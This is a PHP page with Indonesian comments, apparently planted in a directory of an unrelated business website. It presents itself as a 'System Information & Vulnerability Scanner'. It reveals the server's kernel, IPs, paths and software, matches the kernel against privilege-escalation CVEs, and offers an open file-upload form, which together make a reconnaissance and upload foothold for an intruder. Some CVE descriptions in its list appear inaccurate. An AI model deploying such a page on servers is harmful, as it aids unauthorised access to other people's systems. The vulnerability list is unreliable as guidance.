/home/fresvfqn/24hourwaterdamagerestorationlongisland.com/bajk/a.php
<?php
// Fungsi untuk mendapatkan informasi sistem
function getSystemInfo() {
    $info = [];
    
    // Informasi kernel
    $info['kernel'] = php_uname('s') . ' ' . php_uname('r') . ' ' . php_uname('v');
    
    // Alamat IP server
    $info['server_ip'] = $_SERVER['SERVER_ADDR'] ?? 'Tidak tersedia';
    
    // Alamat IP client
    $info['client_ip'] = $_SERVER['REMOTE_ADDR'] ?? 'Tidak tersedia';
    
    // Path lokasi script
    $info['script_path'] = __FILE__;
    
    // Working directory
    $info['working_dir'] = getcwd();
    
    // Informasi PHP
    $info['php_version'] = phpversion();
    
    // Informasi server
    $info['server_software'] = $_SERVER['SERVER_SOFTWARE'] ?? 'Tidak tersedia';
    
    return $info;
}

// Fungsi untuk memeriksa kerentanan kernel (simulasi)
function checkKernelVulnerabilities($kernel) {
    $vulnerabilities = [];
    
    // Daftar kernel yang diketahui memiliki kerentanan (contoh)
    $vulnerable_kernels = [
        'Linux 3.10.0' => 'CVE-2016-5195 (Dirty COW) - Privilege escalation',
        'Linux 4.4.0' => 'CVE-2017-16995 - Privilege escalation',
        'Linux 4.10.0' => 'CVE-2017-1000112 - Memory corruption',
        'Linux 4.14.0' => 'CVE-2018-5333 - Remote code execution',
        'Linux 5.0.0' => 'CVE-2019-8912 - Information disclosure',
    ];
    
    foreach ($vulnerable_kernels as $vuln_kernel => $description) {
        if (strpos($kernel, $vuln_kernel) !== false) {
            $vulnerabilities[] = [
                'kernel' => $vuln_kernel,
                'description' => $description,
                'severity' => 'Tinggi'
            ];
        }
    }
    
    // Jika tidak ditemukan kerentanan spesifik
    if (empty($vulnerabilities)) {
        $vulnerabilities[] = [
            'kernel' => $kernel,
            'description' => 'Tidak ditemukan kerentanan yang diketahui dalam database kami',
            'severity' => 'Rendah'
        ];
    }
    
    return $vulnerabilities;
}

// Fungsi untuk menangani upload file
function handleFileUpload() {
    $uploadResult = [];
    
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['uploaded_file'])) {
        $uploadDir = 'uploads/';
        
        // Buat direktori uploads jika belum ada
        if (!is_dir($uploadDir)) {
            mkdir($uploadDir, 0755, true);
        }
        
        $fileName = basename($_FILES['uploaded_file']['name']);
        $filePath = $uploadDir . $fileName;
        $fileType = strtolower(pathinfo($filePath, PATHINFO_EXTENSION));
        
        // Validasi file (contoh: hanya izinkan file gambar dan txt)
        $allowedTypes = ['jpg', 'jpeg', 'png', 'gif', 'txt', 'pdf'];
        
        if (in_array($fileType, $allowedTypes)) {
            if ($_FILES['uploaded_file']['size'] < 5000000) { // Maksimal 5MB
                if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $filePath)) {
                    $uploadResult['success'] = "File " . htmlspecialchars($fileName) . " berhasil diupload.";
                    $uploadResult['file_path'] = $filePath;
                } else {
                    $uploadResult['error'] = "Terjadi kesalahan saat mengupload file.";
                }
            } else {
                $uploadResult['error'] = "File terlalu besar. Maksimal 5MB.";
            }
        } else {
            $uploadResult['error'] = "Hanya file JPG, JPEG, PNG, GIF, TXT, dan PDF yang diizinkan.";
        }
    }
    
    return $uploadResult;
}

// Proses upload file
$uploadResult = handleFileUpload();

// Dapatkan informasi sistem
$systemInfo = getSystemInfo();

// Periksa kerentanan kernel
$vulnerabilities = checkKernelVulnerabilities($systemInfo['kernel']);
?>
<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>System Information & Vulnerability Scanner</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
        }
        
        body {
            background: linear-gradient(135deg, #1a2a6c, #b21f1f, #fdbb2d);
            color: #333;
            min-height: 100vh;
            padding: 20px;
        }
        
        .container {
            max-width: 1200px;
            margin: 0 auto;
        }
        
        header {
            text-align: center;
            margin-bottom: 30px;
            color: white;
            text-shadow: 0 2px 4px rgba(0,0,0,0.3);
        }
        
        h1 {
            font-size: 2.5rem;
            margin-bottom: 10px;
        }
        
        .subtitle {
            font-size: 1.2rem;
            opacity: 0.9;
        }
        
        .card {
            background: rgba(255, 255, 255, 0.9);
            border-radius: 15px;
            padding: 25px;
            margin-bottom: 25px;
            box-shadow: 0 10px 20px rgba(0,0,0,0.2);
            transition: transform 0.3s ease;
        }
        
        .card:hover {
            transform: translateY(-5px);
        }
        
        .card h2 {
            color: #1a2a6c;
            margin-bottom: 15px;
            padding-bottom: 10px;
            border-bottom: 2px solid #fdbb2d;
        }
        
        .info-grid {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
            gap: 15px;
        }
        
        .info-item {
            background: white;
            padding: 15px;
            border-radius: 10px;
            box-shadow: 0 4px 6px rgba(0,0,0,0.1);
        }
        
        .info-label {
            font-weight: bold;
            color: #1a2a6c;
        }
        
        .vulnerability-item {
            background: white;
            padding: 15px;
            border-radius: 10px;
            margin-bottom: 10px;
            border-left: 5px solid #b21f1f;
        }
        
        .severity-high {
            border-left-color: #b21f1f;
        }
        
        .severity-low {
            border-left-color: #28a745;
        }
        
        .upload-form {
            display: flex;
            flex-direction: column;
            gap: 15px;
        }
        
        .form-group {
            display: flex;
            flex-direction: column;
        }
        
        label {
            margin-bottom: 5px;
            font-weight: bold;
            color: #1a2a6c;
        }
        
        input[type="file"] {
            padding: 10px;
            border: 2px dashed #1a2a6c;
            border-radius: 5px;
            background: #f8f9fa;
        }
        
        button {
            background: linear-gradient(to right, #1a2a6c, #b21f1f);
            color: white;
            border: none;
            padding: 12px 20px;
            border-radius: 5px;
            cursor: pointer;
            font-size: 1rem;
            font-weight: bold;
            transition: all 0.3s ease;
        }
        
        button:hover {
            background: linear-gradient(to right, #b21f1f, #fdbb2d);
            transform: scale(1.05);
        }
        
        .alert {
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 15px;
        }
        
        .alert-success {
            background-color: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        
        .alert-error {
            background-color: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        
        footer {
            text-align: center;
            margin-top: 30px;
            color: white;
            opacity: 0.8;
        }
        
        @media (max-width: 768px) {
            .info-grid {
                grid-template-columns: 1fr;
            }
            
            h1 {
                font-size: 2rem;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <header>
            <h1>System Information & Vulnerability Scanner</h1>
            <p class="subtitle">Informasi Sistem, Upload File, dan Pemeriksaan Keamanan</p>
        </header>
        
        <!-- Card Informasi Sistem -->
        <div class="card">
            <h2>Informasi Sistem</h2>
            <div class="info-grid">
                <div class="info-item">
                    <div class="info-label">Kernel</div>
                    <div><?php echo htmlspecialchars($systemInfo['kernel']); ?></div>
                </div>
                <div class="info-item">
                    <div class="info-label">IP Server</div>
                    <div><?php echo htmlspecialchars($systemInfo['server_ip']); ?></div>
                </div>
                <div class="info-item">
                    <div class="info-label">IP Client</div>
                    <div><?php echo htmlspecialchars($systemInfo['client_ip']); ?></div>
                </div>
                <div class="info-item">
                    <div class="info-label">Path Script</div>
                    <div><?php echo htmlspecialchars($systemInfo['script_path']); ?></div>
                </div>
                <div class="info-item">
                    <div class="info-label">Working Directory</div>
                    <div><?php echo htmlspecialchars($systemInfo['working_dir']); ?></div>
                </div>
                <div class="info-item">
                    <div class="info-label">Versi PHP</div>
                    <div><?php echo htmlspecialchars($systemInfo['php_version']); ?></div>
                </div>
                <div class="info-item">
                    <div class="info-label">Server Software</div>
                    <div><?php echo htmlspecialchars($systemInfo['server_software']); ?></div>
                </div>
            </div>
        </div>
        
        <!-- Card Vulnerability Scanner -->
        <div class="card">
            <h2>Kernel Vulnerability Scanner</h2>
            <?php foreach ($vulnerabilities as $vuln): ?>
                <div class="vulnerability-item severity-<?php echo strtolower(explode(' ', $vuln['severity'])[0]); ?>">
                    <div class="info-label">Kernel: <?php echo htmlspecialchars($vuln['kernel']); ?></div>
                    <div><strong>Deskripsi:</strong> <?php echo htmlspecialchars($vuln['description']); ?></div>
                    <div><strong>Tingkat Keparahan:</strong> <?php echo htmlspecialchars($vuln['severity']); ?></div>
                </div>
            <?php endforeach; ?>
            <p style="margin-top: 15px; font-style: italic;">
                Catatan: Scanner ini hanya untuk tujuan edukasi dan menggunakan database terbatas.
                Untuk analisis keamanan yang komprehensif, gunakan alat profesional seperti Nessus, OpenVAS, atau Nikto.
            </p>
        </div>
        
        <!-- Card Upload File -->
        <div class="card">
            <h2>Upload File</h2>
            
            <?php if (isset($uploadResult['success'])): ?>
                <div class="alert alert-success">
                    <?php echo $uploadResult['success']; ?>
                    <?php if (isset($uploadResult['file_path'])): ?>
                        <br>File disimpan di: <?php echo htmlspecialchars($uploadResult['file_path']); ?>
                    <?php endif; ?>
                </div>
            <?php elseif (isset($uploadResult['error'])): ?>
                <div class="alert alert-error">
                    <?php echo $uploadResult['error']; ?>
                </div>
            <?php endif; ?>
            
            <form class="upload-form" action="" method="post" enctype="multipart/form-data">
                <div class="form-group">
                    <label for="uploaded_file">Pilih file untuk diupload (maks. 5MB):</label>
                    <input type="file" name="uploaded_file" id="uploaded_file" required>
                </div>
                <button type="submit">Upload File</button>
            </form>
            
            <div style="margin-top: 15px;">
                <p><strong>File yang diizinkan:</strong> JPG, JPEG, PNG, GIF, TXT, PDF</p>
            </div>
        </div>
        
        <footer>
            <p>System Information & Vulnerability Scanner &copy; <?php echo date('Y'); ?></p>
        </footer>
    </div>
</body>
</html>